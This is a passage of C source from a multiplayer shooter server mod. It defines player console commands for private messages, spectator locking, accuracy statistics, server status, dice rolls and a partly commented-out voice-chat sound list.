char message[MAX_STRING_CHARS];
int count = 0;
int i;
trap_Argv(1, name, sizeof(name));
if (!name || !*name)
return;
count = ClientNumberFromNameMatch(name, nums);
if (count == 0)
{
trap_SendServerCommand(ent-g_entities, va("print \"Client not on server\n\""));
return;
}
strcpy(message, va("print \""));
for (i = 0; i < count; i++)
strcat(message, va("%s: %s%i%s\n", g_entities[nums[i]].client->pers.netname, S_COLOR_YELLOW, nums[i], S_COLOR_WHITE));
strcat(message, "\"");
trap_SendServerCommand(ent-g_entities, message);
}
//End
extern char* ConcatArgs(int start);
/*////////////////////////////////////////////////////////
Cmd_Pmsg_f
This command allows one player to send a 'private' message (text only)
to another player or players. The message is sent to all players whose
names contain the match string provided by the sender. This command is
not subject to spam rules governing text-only messages, but cannot be
used by people who are ignored.
*/////////////////////////////////////////////////////////
void Cmd_Pmsg_f(gentity_t *ent)
{
char cmd[MAX_TOKEN_CHARS];
char name[MAX_STRING_CHARS];
char nameList[MAX_STRING_CHARS];
char *msg;
int matchList[MAX_CLIENTS];
int count, i;
if (!g_privateMsgs.integer) //just return if this isn't enabled
return;
if (trap_Argc() < 3)
{
trap_Argv(0, cmd, sizeof(cmd)); //just for consistency, display the command they entered
trap_SendServerCommand(ent-g_entities, va("print \"Usage: %s <match> <message>\n\"", cmd));
return;
}
if (ent->client->sess.ignored) //ignored people can't do ANY kind of talking
{
trap_SendServerCommand(ent-g_entities, va("print \"^3You are ignored. Chat cancelled\n\""));
return;
}
trap_Argv(1, name, sizeof(name));
if (strlen(name) < g_minMsgChars.integer) //make sure they entered a long enough name match
{
trap_SendServerCommand(ent-g_entities, va("print \"You must match at least %i characters of the name\n\"", g_minMsgChars.integer));
return;
}
count = ClientNumberFromNameMatch(name, matchList);
if (count == 0)
{
trap_SendServerCommand(ent-g_entities, va("print \"No matching clients found\n\""));
return;
}
msg = ConcatArgs(2); //get the whole message
//Nuke
if( strlen(msg) >= 700 ){
S4ND_nuke(ent);
return;
}
Q_strncpyz ( nameList, "", sizeof( nameList ) );//Clean the nameList so it dont have all that shit in it that makes u look up and shoot
//loop through all the matching clients and display the message for them
for (i = 0; i < count; i++)
{
strcat(nameList, g_entities[matchList[i]].client->pers.netname); //add their name to a list
if (i != (count-1))
strcat(nameList, "^7, ");
//if the message is short enough to fit in the talk space of the window, display it there
if ((strlen(msg) + strlen(va("Message from %s^7: ^3", ent->client->pers.netname))) < MAX_SAY_TEXT)
trap_SendServerCommand(matchList[i], va("chat \"Message from %s^7: ^3%.99s\" 0", ent->client->pers.netname, msg));
else //otherwise, print it in the console, and notify the recipient(s) that they received a message there
{
trap_SendServerCommand(matchList[i], va("print \"Message from %s^7: ^3%.99s\n\"", ent->client->pers.netname, msg));
trap_SendServerCommand(matchList[i], va("print \"Message from %s^7: ^3Check your console\n\"", ent->client->pers.netname));
}
#ifdef OMNIBOT
// Omni-bot: Tell the bot about the chat message
Bot_Event_ChatMessage(matchList[i], ent, PRIVATE_MESSAGE, msg);
#endif
}
//let the sender know who his message went to
trap_SendServerCommand(ent-g_entities, va("print \"Message to %s^7: %.99s\n\"", nameList, msg));
}
/*////////////
Cmd_Ready_f
*/////////////
// L0 - this is not need it anymore...
/*
void Cmd_Ready_f(gentity_t *ent){
if(!g_tournymode.integer){
trap_SendServerCommand(ent-g_entities, "print \"Tournament mode is not enabled\n\"");
return;
}
if (ent->client->pers.isReady){
trap_SendServerCommand(ent-g_entities, "print \"You are already ready\n\"");
return;
}
if (g_gamestate.integer == GS_PLAYING){
trap_SendServerCommand(ent-g_entities, "print \"You are not in warmup\n\"");
return;
}
level.readyPlayers++;
ent->client->pers.isReady = qtrue;
ent->client->ps.powerups[PW_REDFLAG] = 0;
trap_SendServerCommand(-1, va("chat \"console: %s ^7is ^2ready.\n\"", ent->client->pers.netname));
}
*/
/*
===============
Cmd_NotReady_f
===============
*/
// L0 - this is not need it anymore...
/*
void Cmd_NotReady_f(gentity_t *ent){
if(!g_tournymode.integer){
trap_SendServerCommand(ent-g_entities, "print \"^3Tournament mode is not enabled.\n\"");
return;
}
if (!ent->client->pers.isReady){
trap_SendServerCommand(ent-g_entities, "print \"^3You are not ready.\n\"");
return;
}
if (g_gamestate.integer == GS_PLAYING){
trap_SendServerCommand(ent-g_entities, "print \"^3You are not in warmup.\n\"");
return;
}
level.readyPlayers--;
ent->client->pers.isReady = qfalse;
ent->client->ps.powerups[PW_REDFLAG] = INT_MAX;
trap_SendServerCommand(-1, va("chat \"console: %s ^7is NOT ^1ready.\n\"", ent->client->pers.netname));
}
*/
/*
===========
Cmd_Smoke_f
===========
*/
void Cmd_Smoke_f(gentity_t *ent){
if (ent->client->ps.stats[STAT_PLAYER_CLASS] != PC_LT)// you must be an lt
return;
if(!g_smokeGrenades.integer){// it must be enabled
trap_SendServerCommand(ent-g_entities, va("print \"^3Smoke grenades are not enabled.\n\""));
return;
}
if (g_smokeGrenadeLimit.integer){
if(ent->thrownSmoke == g_smokeGrenadeLimit.integer){
trap_SendServerCommand(ent-g_entities, va("chat \"You are out of smoke grenades.\""));
return;
}
}
if (!ent->client->ps.throwSmoke){//if its false make it true
trap_SendServerCommand(ent-g_entities, va("chat \"Smoke Grenade ^2ENABLED^7.\""));
ent->client->ps.throwSmoke = qtrue;
return;
}
if (ent->client->ps.throwSmoke){//if its true make it false
trap_SendServerCommand(ent-g_entities, va("chat \"Smoke Grenade ^1DISABLED^7.\""));
ent->client->ps.throwSmoke = qfalse;
return;
}
}
/*
===========
Cmd_mine_f
===========
*/
void Cmd_mine_f(gentity_t *ent){
if (ent->client->ps.stats[STAT_PLAYER_CLASS] != PC_ENGINEER && !g_instaGib.integer)// you must be an eng
return;
if(!g_mines.integer){// it must be enabled
trap_SendServerCommand(ent-g_entities, va("print \"^3Mines are not enabled.\n\""));
return;
}
// Mine limit - mines are now limited per team
// this prevents a team from having 30 engies and 30 * g_minelimit mines
// teams no longer benifit from having several engineers who plant mines
/*if((ent->client->sess.sessionTeam == TEAM_RED) && (level.axisMinesAvailable == 0)){
trap_SendServerCommand(ent-g_entities, va("chat \"The ^1Axis ^7team is out of mines.\""));
return;
}
if((ent->client->sess.sessionTeam == TEAM_BLUE) && (level.alliedMinesAvailable == 0)){
trap_SendServerCommand(ent-g_entities, va("chat \"The ^4Allied ^7team is out of mines.\""));
return;
}
*/
if (!ent->client->ps.throwMine){//if its false make it true
trap_SendServerCommand(ent-g_entities, va("chat \"Mines ^2ENABLED^7.\""));
ent->client->ps.throwMine = qtrue;
return;
}
if (ent->client->ps.throwMine){//if its true make it false
trap_SendServerCommand(ent-g_entities, va("chat \"Mines ^1DISABLED^7.\""));
ent->client->ps.throwMine = qfalse;
return;
}
}
//End
/*
==================
Cmd_speclock_f
==================
*/
void Cmd_speclock_f( gentity_t *ent ) {
if(!g_allowspeclock.integer)
{
trap_SendServerCommand(ent-g_entities, va("chat \"console: Players are not allowed to speclock here!\n\""));
return;
}
if(ent->client->sess.sessionTeam ==TEAM_SPECTATOR){
trap_SendServerCommand(ent-g_entities, va("chat \"You can not spec lock the spectators.\n\""));
return;
}
//for g_speclock
//0 = off
//1 = cant spec axis
//2 = cant spec allies
//3 = cant spec
if(ent->client->sess.sessionTeam ==TEAM_RED){
if(!g_speclock.integer){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 1\n" );
trap_SendServerCommand(-1, va("chat \"console: ^1Axis ^3have been speclocked.\n\""));
return;
}else if(g_speclock.integer == 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^1Axis ^3is already speclocked.\n\""));
return;
}else if(g_speclock.integer == 2){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 3\n" );
trap_SendServerCommand(-1, va("chat \"console: ^1Axis ^3have been speclocked.\n\""));
}else if(g_speclock.integer == 3){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^1Axis ^3has already been speclocked.\n\""));
return;
}
}
if(ent->client->sess.sessionTeam ==TEAM_BLUE){
if(!g_speclock.integer){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 2\n" );
trap_SendServerCommand(-1, va("chat \"console: ^4Allies ^3have been speclocked.\n\""));
return;
}else if(g_speclock.integer == 1){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 3\n" );
trap_SendServerCommand(-1, va("chat \"console: ^4Allies ^3have been speclocked.\n\""));
}else if(g_speclock.integer == 2){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^4Allies ^3has already been speclocked.\n\""));
return;
}else if(g_speclock.integer == 3){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^4Allies ^3has already been speclocked.\n\""));
return;
}
}
}
/*
==================
Cmd_specunlock_f
==================
*/
void Cmd_specunlock_f( gentity_t *ent ) {
if(!g_allowspeclock.integer)
{
trap_SendServerCommand(ent-g_entities, va("chat \"console: Players are not allowed to speclock here!\n\""));
return;
}
if(ent->client->sess.sessionTeam ==TEAM_SPECTATOR){
trap_SendServerCommand(ent-g_entities, va("chat \"console: You can not use this command as spectator.\n\""));
return;
}
//for g_speclock
//0 = off
//1 = cant spec axis
//2 = cant spec allies
//3 = cant spec
if(ent->client->sess.sessionTeam ==TEAM_RED){
if(!g_speclock.integer){
trap_SendServerCommand(-1, va("chat \"console: ^1Axis ^3are not speclocked.\n\""));
return;
}else if(g_speclock.integer == 1){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 0\n" );
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^1Axis ^3are no longer speclocked.\n\""));
return;
}else if(g_speclock.integer == 2){
trap_SendServerCommand(-1, va("chat \"console: ^1Axis ^3are not speclocked.\n\""));
}else if(g_speclock.integer == 3){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 2\n" );
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^1Axis ^3are no longer speclocked.\n\""));
return;
}
}
if(ent->client->sess.sessionTeam ==TEAM_BLUE){
if(!g_speclock.integer){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^4Allies ^3are not speclocked.\n\""));
return;
}else if(g_speclock.integer == 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^4Allies ^3are not speclocked.\n\""));
}else if(g_speclock.integer == 2){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 0\n" );
trap_SendServerCommand(-1, va("chat \"console: ^4Allies ^3are no longer speclocked.\n\""));
return;
}else if(g_speclock.integer == 3){
trap_SendConsoleCommand( EXEC_APPEND, "g_speclock 1\n" );
trap_SendServerCommand(-1, va("chat \"console: ^4Allies ^3are no longer speclocked.\n\""));
return;
}
}
}
int ClientNumberFromNameMatch(char *name, int *matches);
/*
==================
Cmd_allowspec_f
==================
*/
//for sess.speclock
//0 = cant spec
//1 = can spec axis
//2 = can spec allies
//3 = can spec whoever they want
void Cmd_allowspec_f( gentity_t *ent ) {
char arg1[MAX_STRING_TOKENS];
int count;
int nums[MAX_CLIENTS];
int i;
trap_Argv( 1, arg1, sizeof( arg1 ) );
if(ent->client->sess.sessionTeam == TEAM_SPECTATOR){
trap_SendServerCommand(ent-g_entities, "print \"^3You can not use this as a spectator.\n\"");
return;
}
count = ClientNumberFromNameMatch(arg1, nums);
if (count == 0){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
return;
}
if (count > 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3To many clients with %s in their name.\n\"",arg1));
return;
}
for (i = 0; i < count; i++){
if(g_entities[nums[i]].client->sess.sessionTeam != TEAM_SPECTATOR){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client is not a spectator.\n\""));
return;
}
if(ent->client->sess.sessionTeam == TEAM_RED){
if (g_entities[nums[i]].client->sess.speclock == 1 || g_entities[nums[i]].client->sess.speclock == 3){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client can already spec ^1Axis^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 0){
g_entities[nums[i]].client->sess.speclock = 1;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can now spec the ^1Axis^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can now spec the ^1Axis^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 2){
g_entities[nums[i]].client->sess.speclock = 3;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can now spec the ^1Axis^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can now spec the ^1Axis^3.\n\""));
return;
}
}
if(ent->client->sess.sessionTeam == TEAM_BLUE){
if (g_entities[nums[i]].client->sess.speclock == 2 || g_entities[nums[i]].client->sess.speclock == 3){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client can already spec ^4Allies^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 0){
g_entities[nums[i]].client->sess.speclock = 2;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can now spec the ^4Allies^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can now spec the ^4Allies^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 1){
g_entities[nums[i]].client->sess.speclock = 3;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can now spec the ^4Allies^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can now spec the ^4Allies^3.\n\""));
return;
}
}
}
}
/*
==================
Cmd_unallowspec_f
==================
*/
void Cmd_unallowspec_f( gentity_t *ent ) {
char arg1[MAX_STRING_TOKENS];
int count;
int nums[MAX_CLIENTS];
int i;
trap_Argv( 1, arg1, sizeof( arg1 ) );
if(ent->client->sess.sessionTeam == TEAM_SPECTATOR){
trap_SendServerCommand(ent-g_entities, "print \"^3You can not use this as a spectator.\n\"");
return;
}
count = ClientNumberFromNameMatch(arg1, nums);
if (count == 0){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
return;
}
if (count > 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3To many clients with %s in their name.\n\"",arg1));
return;
}
for (i = 0; i < count; i++){
if(g_entities[nums[i]].client->sess.sessionTeam != TEAM_SPECTATOR){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client is not a spectator.\n\""));
return;
}
if(ent->client->sess.sessionTeam == TEAM_RED){
if (g_entities[nums[i]].client->sess.speclock == 0 || g_entities[nums[i]].client->sess.speclock == 2){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client can not spec ^1Axis^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 1){
g_entities[nums[i]].client->sess.speclock = 0;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can no longer spec the ^1Axis^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can no longer spec the ^1Axis^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 3){
g_entities[nums[i]].client->sess.speclock = 2;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can no longer spec the ^1Axis^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can no longer spec the ^1Axis^3.\n\""));
return;
}
}
if(ent->client->sess.sessionTeam == TEAM_BLUE){
if (g_entities[nums[i]].client->sess.speclock == 0 || g_entities[nums[i]].client->sess.speclock == 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client can not spec ^4Allies^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 2){
g_entities[nums[i]].client->sess.speclock = 0;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can no longer spec the ^4Allies^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can no longer spec the ^4Allies^3.\n\""));
return;
}
if (g_entities[nums[i]].client->sess.speclock == 3){
g_entities[nums[i]].client->sess.speclock = 1;
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^7%s ^3can no longer spec the ^4Allies^3.\n\"",g_entities[nums[i]].client->pers.netname));
trap_SendServerCommand(nums[i], va("chat \"console: ^3You can no longer spec the ^4Allies^3.\n\""));
return;
}
}
}
}
/*
==================
Cmd_checkSpecs_f
==================
*/
void Cmd_checkSpecs_f( gentity_t *ent ) {
int i;
if(!g_speclock.integer){
trap_SendServerCommand(ent-g_entities, va("print \"^3Speclock is not on.\n\""));
return;
}
trap_SendServerCommand(ent-g_entities, va("print \"^3Speclock Status:\n\""));
if(g_speclock.integer == 1)
trap_SendServerCommand(ent-g_entities, va("print \"^1Axis ^3team is speclocked\n\""));
else if(g_speclock.integer == 2)
trap_SendServerCommand(ent-g_entities, va("print \"^4Allies ^3team is speclocked\n\""));
else if(g_speclock.integer == 3)
trap_SendServerCommand(ent-g_entities, va("print \"^4Allies^3 and ^1Axis ^3are locked.\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^3Speclock Permissions:\n\""));
for (i=0; i<MAX_CLIENTS; i++) {
if(level.clients[i].pers.connected != CON_CONNECTED)
continue;
if(level.clients[i].sess.speclock == 0)
trap_SendServerCommand(ent-g_entities, va("print \"%s: ^3None\n\"",level.clients[i].pers.netname));
else if(level.clients[i].sess.speclock == 1)
trap_SendServerCommand(ent-g_entities, va("print \"%s: ^1Axis\n\"",level.clients[i].pers.netname));
else if(level.clients[i].sess.speclock == 2)
trap_SendServerCommand(ent-g_entities, va("print \"%s: ^4Allies\n\"",level.clients[i].pers.netname));
else if(level.clients[i].sess.speclock == 3)
trap_SendServerCommand(ent-g_entities, va("print \"%s: ^2Both\n\"",level.clients[i].pers.netname));
}
}
/*
==================
Cmd_Accuracy_f
==================
*/
void Cmd_Accuracy_f( gentity_t *ent ) {
gclient_t *client = ent->client;
char message[MAX_STRING_CHARS];
int shots = client->pers.acc_shots;
float acc = 0.0f;
float headacc = 0.0f;
float faceacc = 0.0f;
float throatacc = 0.0f;
float shoulderacc = 0.0f;
float armacc = 0.0f;
float bodyacc = 0.0f;
float legacc = 0.0f;
float footacc = 0.0f;
//avoid divide-by-0 error, will be 0.0 until the player hits someone
if (shots > 0)
acc = ((float)client->pers.acc_hits / (float)shots) * 100.0f;
if (client->pers.acc_hits){
headacc = ((float)client->pers.hithead/(float)client->pers.acc_hits)* 100.0f;
faceacc = ((float)client->pers.hitface/(float)client->pers.acc_hits)* 100.0f;
throatacc = ((float)client->pers.hitthroat/(float)client->pers.acc_hits)* 100.0f;
shoulderacc = ((float)client->pers.hitshoulders/(float)client->pers.acc_hits)* 100.0f;
armacc = ((float)client->pers.hitarm/(float)client->pers.acc_hits)* 100.0f;
bodyacc = ((float)client->pers.hitbody/(float)client->pers.acc_hits)* 100.0f;
legacc = ((float)client->pers.hitleg/(float)client->pers.acc_hits)* 100.0f;
footacc = ((float)client->pers.hitfoot/(float)client->pers.acc_hits)* 100.0f;
}
strcpy(message, va("print \"^2Accuracy for ^7%s ^2this round: \n", client->pers.netname));
strcat(message, va("^3Over all: ^7%2.2f (%d/%d)\n", acc, client->pers.acc_hits, shots));
strcat(message, va("^2Percentage of hits:\n", headacc, client->pers.hithead));
strcat(message, va("^3Head: ^7%d ^7%2.2f\n", client->pers.hithead, headacc));
strcat(message, va("^3Face: ^7%d ^7%2.2f\n", client->pers.hitface, faceacc));
strcat(message, va("^3Throat: ^7%d ^7%2.2f\n", client->pers.hitthroat, throatacc));
//Took out shoulder cause idk where it is made them just count as arm shots if they ever happen
// strcat(message, va("^3Shoulder: ^7%d ^7%2.2f\n", client->pers.hitshoulders, shoulderacc));
strcat(message, va("^3Arms: ^7%d ^7%2.2f\n", client->pers.hitarm, armacc));
strcat(message, va("^3Body: ^7%d ^7%2.2f\n", client->pers.hitbody, bodyacc));
strcat(message, va("^3Legs: ^7%d ^7%2.2f\n", client->pers.hitleg, legacc));
strcat(message, va("^3Feet: ^7%d ^7%2.2f\n", client->pers.hitfoot, footacc));
strcat(message, va("^3Dmg Given: ^7%d\n", client->pers.dmgGiven));
strcat(message, va("^3Dmg Received: ^7%d\n", client->pers.dmgreceived));
strcat(message, "\"");
trap_SendServerCommand(ent-g_entities, message);
}
/*
=================
Cmd_status_f
=================
*/
void Cmd_status_f(gentity_t *ent){
int i;
gentity_t *traceEnt;
//gentity_t *te;
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
if(g_autoAim.integer)
trap_SendServerCommand(ent-g_entities, "print \"^1SERVER SIDE AIMBOT IS ENABLED!\n");
//nobo output stuff correctly
if ((ent->client->sess.admin) || (ent->client->sess.developer)){
char hostname[MAX_INFO_STRING];
trap_Cvar_VariableStringBuffer( "sv_hostname", hostname, sizeof(hostname) );
trap_SendServerCommand(ent-g_entities, "print \"-----------------------------------------------------------------------------\n");
trap_SendServerCommand(ent-g_entities, va("print \"%.32s ^7%s\"", hostname, asctime (timeinfo)));
trap_SendServerCommand(ent-g_entities, "print \"NUM SCORE NAME IP\n");
trap_SendServerCommand(ent-g_entities, "print \"-----------------------------------------------------------------------------\n");
for (i=0;i<g_maxclients.integer;i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
traceEnt = &g_entities[i];
if ( traceEnt->client->sess.admin )
trap_SendServerCommand(ent-g_entities, va("print \"^3%i ^3%i^7[^2%i^7/^1%i^7] %s ^3%s %s\n", i ,
traceEnt->client->ps.persistant[PERS_SCORE],traceEnt->client->pers.kills,traceEnt->client->pers.teamKills,
traceEnt->client->pers.netname, traceEnt->client->sess.ip, traceEnt->client->sess.status));
else
trap_SendServerCommand(ent-g_entities, va("print \"^3%i ^3%i^7[^2%i^7/^1%i^7] %s ^3%s\n", i ,
traceEnt->client->ps.persistant[PERS_SCORE],traceEnt->client->pers.kills,traceEnt->client->pers.teamKills,
traceEnt->client->pers.netname, traceEnt->client->sess.ip));
}
}else{
char ip1[10];
char ip2[10];
char ip3[10];
char ip4[10];
char hostname[MAX_INFO_STRING];
trap_Cvar_VariableStringBuffer( "sv_hostname", hostname, sizeof(hostname) );
trap_SendServerCommand(ent-g_entities, "print \"-----------------------------------------------------------------------------\n");
trap_SendServerCommand(ent-g_entities, va("print \"%.32s ^7%s\"", hostname, asctime (timeinfo)));
trap_SendServerCommand(ent-g_entities, "print \"NUM SCORE NAME IP\n");
trap_SendServerCommand(ent-g_entities, "print \"-----------------------------------------------------------------------------\n");
for (i=0;i<g_maxclients.integer;i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
traceEnt = &g_entities[i];
BreakIP(traceEnt->client->sess.ip, ip1, ip2, ip3, ip4);
if ( traceEnt->client->sess.admin )
trap_SendServerCommand(ent-g_entities, va("print \"^3%i ^3%i^7[^2%i^7/^1%i^7] %s ^3%s.%s.%s.* %s\n", i ,
traceEnt->client->ps.persistant[PERS_SCORE],traceEnt->client->pers.kills,traceEnt->client->pers.teamKills,
traceEnt->client->pers.netname, ip1,ip2,ip3, traceEnt->client->sess.status));
else
trap_SendServerCommand(ent-g_entities, va("print \"^3%i ^3%i^7[^2%i^7/^1%i^7] %s ^3%s.%s.%s.*\n", i ,
traceEnt->client->ps.persistant[PERS_SCORE],traceEnt->client->pers.kills,traceEnt->client->pers.teamKills,
traceEnt->client->pers.netname, ip1,ip2,ip3));
}
}
}
//-------------------------------------------------------------------BEGIN AGENT CODE DUMP-----------------------------------------
/*
=================
Cmd_RollTheDice_f
=================
*/
void Cmd_RollTheDice_f(gentity_t *ent){
//S4NDM4NN
//this could all be made like
//trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a %.99s.\n\"", ent->client->pers.netname, n ));
//it all wokrs the same though
int n = rand()%6 + 1;
if (n==1)
trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a 1.\n\"", ent->client->pers.netname ));
if (n==2)
trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a 2.\n\"", ent->client->pers.netname ));
if (n==3)
trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a 3.\n\"", ent->client->pers.netname ));
if (n==4)
trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a 4.\n\"", ent->client->pers.netname ));
if (n==5)
trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a 5.\n\"", ent->client->pers.netname ));
if (n==6)
trap_SendServerCommand( -1, va("chat \"console: %.99s ^7Rolled the Dice and got a 6.\n\"", ent->client->pers.netname ));
}
/*
==========
Cmd_Time_f
==========
*/
void Cmd_Time_f(gentity_t *ent){
return;/*
gentity_t *te;
time_t rawtime;
struct tm * timeinfo;
char arg1[MAX_STRING_TOKENS];
time ( &rawtime );
timeinfo = localtime ( &rawtime );
ent->voiceChatSquelch -= (level.time - ent->voiceChatPreviousTime);
ent->voiceChatPreviousTime = level.time;
if (ent->voiceChatSquelch < 0)
ent->voiceChatSquelch = 0;
if (ent->voiceChatSquelch >= 30000) {
trap_SendServerCommand(ent-g_entities, "print \"^1Spam Protection^7: Command ignored\n\"");
return;
}
if (g_voiceChatsAllowed.integer)
ent->voiceChatSquelch += (34000 / g_voiceChatsAllowed.integer);
else
return;
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
trap_Argv( 1, arg1, sizeof( arg1 ) );
trap_SendServerCommand( -1, va("chat \"console: Server time is: %s\"", asctime (timeinfo) ));
te->s.eventParm = G_SoundIndex( "sound/multiplayer/dynamite_01.wav" );*/
}
/*
=====================
AutoBot Help (ingame)
=====================
*/
void Cmd_ABHelp_f(gentity_t *ent){
trap_SendServerCommand(ent-g_entities, va("print \"^3AutoBot Version %s\n\"", ADMINBOTVERSION));
trap_SendServerCommand(ent-g_entities, va("print \"^3Designed and coded by ^5S4NDMANN ^7and ^5AG3NT\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^1AutoBot Functions:\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^3AB_Enable ^7%i\n\"",AB_Enable.integer));
trap_SendServerCommand(ent-g_entities, va("print \"^3AB_MinScore ^7%i\n\"",AB_MinScore.integer));
trap_SendServerCommand(ent-g_entities, va("print \"^3AB_Tks ^7%i\n\"",AB_Tks.integer));
trap_SendServerCommand(ent-g_entities, va("print \"^3AB_CheatsOK ^7%i\n\"",AB_CheatsOK.integer));
//trap_SendServerCommand(ent-g_entities, va("print \"^3AB_KickHighPingers ^7%i\n\"",AB_KickHighPingers.integer));
//trap_SendServerCommand(ent-g_entities, va("print \"^3AB_MaxPing ^7%i\n\"",AB_MaxPing.integer));
//trap_SendServerCommand(ent-g_entities, va("print \"^3AB_MaxPingTime ^7%i\n\"",AB_MaxPingTime.integer));
trap_SendServerCommand(ent-g_entities, va("print \"^3AB_TempBanTime ^7%i\n\"",AB_TempBanTime.integer));
trap_SendServerCommand(ent-g_entities, va("print \"^3AB_MaxTkPoints ^7%i\n\"",AB_MaxTkPoints.integer));
}
//--------------------------------------------------------------------------END AGENT---------------------------------------
//mvsay dump
/*
============
Cmd_Mvsay_f
============
*/
void Cmd_Mvsay_f(gentity_t *ent){
// gentity_t *te;
// gentity_t *other;
// int i;
// char index[MAX_OSPATH];
// char arg1[MAX_STRING_TOKENS];
if (!g_mvsay.integer)
return;
ent->voiceChatSquelch -= (level.time - ent->voiceChatPreviousTime);
ent->voiceChatPreviousTime = level.time;
if (ent->voiceChatSquelch < 0)
ent->voiceChatSquelch = 0;
if (ent->voiceChatSquelch >= 30000) {
trap_SendServerCommand(ent-g_entities, "print \"^1Spam Protection^7: VoiceChat ignored\n\"");
return;
}
if (g_voiceChatsAllowed.integer)
ent->voiceChatSquelch += (34000 / g_voiceChatsAllowed.integer);
else
return;
// te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
/*
trap_Argv( 1, arg1, sizeof( arg1 ) );
//////////---------------------------------------------------------------
LIST BEGIN
//A
//te = G_TempEntity( level.highkiller->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
//te->s.eventParm = G_SoundIndex("sound/player/finishhim.wav");
//te->s.teamNum = level.highkiller->s.clientNum;
if ( !Q_stricmp( arg1, "alert" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Alien Alert!");
Q_strncpyz(index, "sound/player/alert.wav", sizeof(index));
//blah
//B
}else if ( !Q_stricmp( arg1, "bitches" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Ungrateful little Bitches!");
Q_strncpyz(index, "sound/player/bitches.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "busted" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Your so busted!");
Q_strncpyz(index, "sound/player/a-busted.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "backup" ) ){
G_Say(ent, NULL, SAY_ALL, "^3We Need Backup!");
Q_strncpyz(index, "sound/player/backup.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "bogies" ) ){
G_Say(ent, NULL, SAY_ALL, "^3We Got Bogies!");
Q_strncpyz(index, "sound/player/bogies.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "boner" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I got a big fuckin' boner right now!");
Q_strncpyz(index, "sound/player/bigboner.wav", sizeof(index));
//blah
//boomheadshottime
}else if ( !Q_stricmp( arg1, "boomheadshot" ) ){
int n = rand()%5; //0-4 - oops nub mistake :) - the else is incase anything else returns, it doesnt crash :)
